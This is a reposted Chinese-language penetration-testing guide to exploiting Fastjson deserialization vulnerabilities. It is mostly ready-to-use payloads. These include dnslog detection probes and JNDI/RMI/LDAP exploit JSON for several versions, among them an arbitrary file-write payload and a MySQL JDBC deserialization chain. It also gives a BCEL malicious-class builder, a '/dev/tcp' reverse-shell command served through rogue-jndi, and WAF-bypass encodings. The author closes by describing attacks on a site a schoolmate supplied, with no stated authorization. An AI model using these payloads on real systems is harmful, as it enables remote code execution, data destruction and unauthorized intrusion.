原文链接:Fastjson 渗透测试指北
作为一个面对fastjson只会弹计算器的彩笔,今天学妹给了一个Fastjson的站点,我发现自己一脸懵逼,打算做一个总结吧,渗透彩笔,轻喷~
一、检测阶段 1.检测是否Fastjson- [{"a":"a\x] dos漏洞
- {"a":"
- {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
- {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
- {{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
- Set[{"@type":"java.net.URL","val":"dnslog"}]
- Set[{"@type":"java.net.URL","val":"dnslog"}
- {{"@type":"java.net.URL","val":"dnslog"}:0
- {{"@type":"java.net.URL","val":"http://%s"}:"x"}
复制代码
1.2.67版本前
- {"zeo":{"@type":"java.net.Inet4Address","val":"fatu5k.dnslog.cn"}}
- 1.2.67版本后payload
- {"@type":"java.net.Inet4Address","val":"dnslog"}
- {"@type":"java.net.Inet6Address","val":"dnslog"}
复制代码
2.精确检测版本 Copy by 浅蓝- [{"a":"a\x]
- {"@type":"java.lang.AutoCloseable"
- a
复制代码
二、常规渗透
(1) 1.2.24
基于jndi
- {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true
复制代码
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (限制条件:解析JSON的时候需要使用Feature) - {"@type":sss"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["###EVIL_CODE###"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}
复制代码
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
(限制条件:应用部署在Tomcat应用环境中 Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource Tomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource ) - {"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"###EVIL_CODE###"}
复制代码- {{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"###EVIL_CODE###"}}:"ddd"
复制代码
(2) 1.2.47
1.2.25 以后autotype默认开启,所以41-45的一些Poc这里也不再列出, 我们直接跳到1.2.48以下不需要开启autotype下的Poc,其实1.2.47之前的Poc都可以改成绕过autotype格式
- {"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://x.x.x.x:1098/jndi", "autoCommit": true}}
复制代码
(3) 1.2.68
48以后68之前的Poc也需要目标开启autotype了,这里也跳过,直接看68的Poc,无须开启autype fastjson-1.2.68 任意文件写入poc
- {"x":{"@type":"java.lang.AutoCloseable","@type":"sun.rmi.server.MarshalOutputStream","out":{"@type":"java.util.zip.InflaterOutputStream","out":{"@type":"java.io.FileOutputStream","file":"/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/charsets.jar","append":false},"infl":{"input":"xxx"},"bufLen":1048576},"protocolVersion":1}}
- {"x":{"@type":"java.nio.charset.Charset","val":"500"}}
复制代码 fastjson-1.2.68 jdbc反序列化poc
- {"@type":"java.lang.AutoCloseable", "@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"172.20.64.40","portToConnectTo":3306,"url":"jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","databaseToConnectTo":"test","info":{"@type":"java.util.Properties","PORT":"3306","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","user":"yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn","PORT.1":"3306","HOST.1":"172.20.64.40","NUM_HOSTS":"1","HOST":"172.20.64.40","DBNAME":"test"}}
复制代码
这里放上两个命令,省得你去搜了
python3 -m http.server 2333 三、不出网利用
这里主要基本Poc使用1.2.24 无需出网Poc + 1.2.47嘚绕过autotype 首先获取恶意class - public class Calc{
- static {
- try{
- Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"});
- } catch (Exception e) {
- }
- }
- }
复制代码 获取到class文件后,转化为BCEL格式(建议以上两步在低版本jdk下运行)
- import com.sun.org.apache.bcel.internal.classfile.Utility;
- import java.io.BufferedWriter;
- import java.io.FileWriter;
- import java.io.IOException;
- import java.nio.file.Files;
- import java.nio.file.Path;
- import java.nio.file.Paths;
- public class Test{
- public static void main(String[] args) throws IOException {
- Path path = Paths.get("D:\\java\\java_tools\\Calc.class");
- byte[] bytes = Files.readAllBytes(path);
- System.out.println(bytes.length);
- String result = Utility.encode(bytes,true);
- BufferedWriter bw = new BufferedWriter(new FileWriter("D:\\java\\java_tools\\bb.txt"));
- bw.write("$BCEL$" + result);
- bw.close();
- }
复制代码 基于<=1.2.47版本的缓存类的绕过黑名单的方式修改原有poc
- {
- "a": {
- "@type": "java.lang.Class",
- "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
- },
- "b": {
- "@type": "java.lang.Class",
- "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
- },
- "c": {
- "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
- "driverClassLoader": {
- "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
- },
- "driverClassName": "###EVIL_CODE###"
- }
- }
复制代码
四、高版本jdk JNDI注入
这里感谢清水老板第一次给我展示了下jep290 后fastjson仍旧打成功了,膜~
推荐两个github项目
https://github.com/veracode-research/rogue-jndi
清水老板: 1.填写好你的反弹命令
sh -i >& /dev/tcp/你的vpsip/端口 0>&1
2.runtime base64编码
访问http://www.jackson-t.ca/runtime-exec-payloads.html
把第一步的命令粘进去,自动编码,复制下来把bash的关键字都改为sh
3.使用RogueJndi-1.0开启ldap
java -jar RogueJndi-1.0.jar -n "0.0.0.0" -c "写入第二步的命令"
4.jndi地址为
ldap://vpsip:1389/o=tomcat
注:rogue-jndi 没法绕tomcat7 留个坑,这里原理一直没跟,下次一定
五、Fastjson WAF 绕过
1.unicode编码
- {"b":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://t00ls.5cd37009d59fc2c7fc55f2bee57cafab.dnslog.cn/aaa","autoCommit":true}}
复制代码
2.XCTF-校战“疫”中的ctf题目的一个payload:\x74- {"@\x74ype":"org.apache.commons.configuration.JNDIConfiguration","- prefix":"rmi://111.231.17.208:3888"}
复制代码
3.\b- {"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}
复制代码
4./**/- {"@type":/**/"Lcom.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}
复制代码
六、回头看学妹的站
尝试了几个检测的Poc,结果用Dos这个成功得到版本
是47,用基本Poc打下
可以打,但是dns请求可以出来,rmi请求出不来,尝试将rmi监听端口放到53 443,不行
因为是47,所以考虑使用不出网方式利用,生成class
生成becl
org.apache.tomcat.dbcp.dbcp2.BasicDataSource 以及org.apache.tomcat.dbcp.dbcp.BasicDataSource都尝试过不行....目标没有依赖类
害.....虽然没有拿到shell,但是学到很多
|